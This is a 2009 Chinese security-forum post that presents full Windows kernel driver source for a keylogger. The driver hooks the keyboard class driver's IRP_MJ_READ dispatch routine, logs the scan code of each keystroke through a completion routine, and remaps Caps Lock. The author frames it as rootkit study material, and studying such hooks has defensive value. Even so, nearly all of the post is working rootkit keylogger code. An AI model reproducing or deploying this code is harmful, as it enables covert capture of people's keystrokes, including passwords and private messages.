-
-
[原创]IRP Hook 键盘Logger
-
发表于:
2009-9-15 08:04
20845
-
前天拜读combojiang 的rootkit hook 系列之[五] IRP Hook全家福(原帖:http://bbs.pediy.com/showthread.php?t=60022)之后,决定用文中的第三种方法实现一个KeyLogger。但是combojiang前辈并没有放上Demo,而且我在网上貌似也没找着完整的IRP Hook 键盘Logger实例,于是就写了一个,权当是为学习rootkit 的新人提供一份完整的参考代码(当然,我也是驱动新人),大牛请无视。
承achillis 前辈指教,我修改了卸载函数,卸载时把处于Pending状态的那个IRP取消掉,这样不需要再等待一个按键。
本例只替换原键盘驱动中的IRP_MJ_READ分发函数,并在回调函数中简单打印出键盘码。
主要代码如下:
#include <wdm.h>
#include <ntddkbd.h>
#include "IRPKlog.h"
//要获取的设备驱动名
#define KBD_DRIVER_NAME L"\\Driver\\Kbdclass"
//保存原有分发函数指针
PDRIVER_DISPATCH OldDispatchRead;
//保存键盘驱动设备对象
PDRIVER_OBJECT KbdDriverObject;
//未完成的IRP数目,不跟踪的话卸载驱动时会死得很难看
int numPendingIrps = 0;
extern POBJECT_TYPE IoDriverObjectType;
//保存当前pending的IRP 用于卸载时取消
PIRP PendingIrp = NULL;
BOOLEAN
CancelKeyboardIrp(IN PIRP Irp)
{
if (Irp == NULL)
{
DbgPrint( "CancelKeyboardIrp: Irp error\n" );
return FALSE;
}
//
// 这里有些判断不是必须的,不过还是小心点好
//
if ( Irp->Cancel || Irp->CancelRoutine == NULL )
{
DbgPrint( "Can't Cancel the irp\n" );
return FALSE;
}
if ( FALSE == IoCancelIrp( Irp ) )
{
DbgPrint( "IoCancelIrp() to failed\n" );
return FALSE;
}
//
// 取消后重设此例程为空
//
IoSetCancelRoutine( Irp, NULL );
return TRUE;
}
//驱动卸载函数
VOID Unload( IN PDRIVER_OBJECT pDriverObject)
{
PDEVICE_OBJECT pDeviceObj;
LARGE_INTEGER lDelay;
PRKTHREAD CurrentThread;
//delay some time
lDelay = RtlConvertLongToLargeInteger(100 * DELAY_ONE_MILLISECOND);
CurrentThread = KeGetCurrentThread();
// 把当前线程设置为低实时模式,以便让它的运行尽量少影响其他程序。
KeSetPriorityThread(CurrentThread, LOW_REALTIME_PRIORITY);
//还原IRP hook
InterlockedExchangePointer(&KbdDriverObject->MajorFunction[IRP_MJ_READ],OldDispatchRead);
// 如果还有IRP 未完成且当前IRP有效则尝试取消这个 IRP
pDeviceObj = pDriverObject->DeviceObject;
if (numPendingIrps > 0 && PendingIrp != NULL)
{
if (CancelKeyboardIrp(PendingIrp) == STATUS_CANCELLED)
{
DbgPrint( "成功取消IRP\n" );
goto __End;
}
}
DbgPrint("There are %d tagged IRPs\n",numPendingIrps);
//DbgPrint("等待最后一个按键...\n");
while (numPendingIrps)
{
KeDelayExecutionThread(KernelMode, FALSE, &lDelay);
}
__End:
DbgPrint("删除设备……\n");
IoDeleteDevice(pDeviceObj);
DbgPrint("Driver Unload OK!\n");
return;
}
//MJ_READ 的回调函数
NTSTATUS OnReadCompletion(
IN PDEVICE_OBJECT DeviceObject,
IN PIRP Irp,
IN PVOID Context
)
{
ULONG buf_len = 0;
PUCHAR buf = NULL;
size_t i,numKeys;
PKEYBOARD_INPUT_DATA KeyData;
PIO_STACK_LOCATION IrpSp = IoGetCurrentIrpStackLocation(Irp);
// 如果这个请求是成功的。很显然,如果请求失败了,这么获取
// 进一步的信息是没意义的
if( NT_SUCCESS( Irp->IoStatus.Status ) )
{
// 获得读请求完成后输出的缓冲区
buf = Irp->AssociatedIrp.SystemBuffer;
KeyData = (PKEYBOARD_INPUT_DATA)buf;
// 获得这个缓冲区的长度。一般的说返回值有多长都保存在
// Information中。
buf_len = Irp->IoStatus.Information;
numKeys = buf_len / sizeof(KEYBOARD_INPUT_DATA);
//简单打印扫描码
for(i=0;i<numKeys;++i)
{
//DbgPrint("ctrl2cap: %2x\r\n", buf[i]);
DbgPrint("\n");
DbgPrint("numKeys : %d",numKeys);
DbgPrint("ScanCode: %x ", KeyData->MakeCode );
DbgPrint("%s\n", KeyData->Flags ?"Up" : "Down" );
print_keystroke((UCHAR)KeyData->MakeCode);
if( KeyData->MakeCode == CAPS_LOCK)
{
KeyData->MakeCode = LCONTROL;
}
}
}
DbgPrint("Entering OnReadCompletion Routine...\n");
//完成一个IRP
numPendingIrps--;
if( Irp->PendingReturned )
{
IoMarkIrpPending( Irp );
}
//调用原来的完成函数,如果有的话
if ((Irp->StackCount > (ULONG)1) && (Context != NULL))
{
return ((PIO_COMPLETION_ROUTINE)Context)(DeviceObject, Irp, NULL);
}
else
{
return Irp->IoStatus.Status;
}
}
//新的分发函数
NTSTATUS NewDispatchRead(IN PDEVICE_OBJECT pDeviceObject, IN PIRP pIrp)
{
//DbgPrint("Entering NewDispatchRead Routine...\n");
//设置完成函数
PIO_STACK_LOCATION irpSp;
irpSp = IoGetCurrentIrpStackLocation(pIrp);
irpSp->Control =
SL_INVOKE_ON_SUCCESS|
SL_INVOKE_ON_ERROR|
SL_INVOKE_ON_CANCEL;
//irpSp->Control = SL_INVOKE_ON_SUCCESS;
//保留原来的完成函数,如果有的话
irpSp->Context = irpSp->CompletionRoutine;
irpSp->CompletionRoutine = (PIO_COMPLETION_ROUTINE)OnReadCompletion;
DbgPrint("已设置回调函数...\n");
//递增未完成的IRP数目
numPendingIrps++;
if (numPendingIrps > 0)
{
PendingIrp = pIrp;
}
return OldDispatchRead(pDeviceObject,pIrp);
}
NTSTATUS DriverEntry(IN PDRIVER_OBJECT pDriverObject,IN PUNICODE_STRING RegistryPath)
{
NTSTATUS status = 0;
UNICODE_STRING KbdNameString;
PDEVICE_OBJECT pDeviceObject;
DbgPrint("IRP Hook Keyboard Logger --DriverEntry\n");
// 初始化Kdbclass驱动的名字
RtlInitUnicodeString(&KbdNameString, KBD_DRIVER_NAME);
//就这个程序而言,不需要创建设备及链接
status = IoCreateDevice(
pDriverObject,
0, //暂时设为0
NULL, //不用名字先
FILE_DEVICE_UNKNOWN,
0,
TRUE, //设为TRUE表示驱动独占,多数为FALSE
&pDeviceObject
);
if (!NT_SUCCESS(status))
{
DbgPrint("Create device error!\n");
return status;
}
//设置驱动卸载函数
pDriverObject->DriverUnload = Unload;
//获取驱动设备对象
status = ObReferenceObjectByName(
&KbdNameString,
OBJ_CASE_INSENSITIVE,
NULL,
0,
IoDriverObjectType,
KernelMode,
NULL,
&KbdDriverObject //保存得到的设备对象
);
if (!NT_SUCCESS(status))
{
//如果失败
DbgPrint("Couldn't get the kbd driver object\n");
return STATUS_UNSUCCESSFUL;
}
else
{
//解除引用
ObDereferenceObject(KbdDriverObject);
}
OldDispatchRead = KbdDriverObject->MajorFunction[IRP_MJ_READ];
//原子交换操作
InterlockedExchangePointer(&KbdDriverObject->MajorFunction[IRP_MJ_READ],NewDispatchRead);
return status;
}
完整代码见附件,XP SP2下编译通过
[课程]Android-CTF解题方法汇总!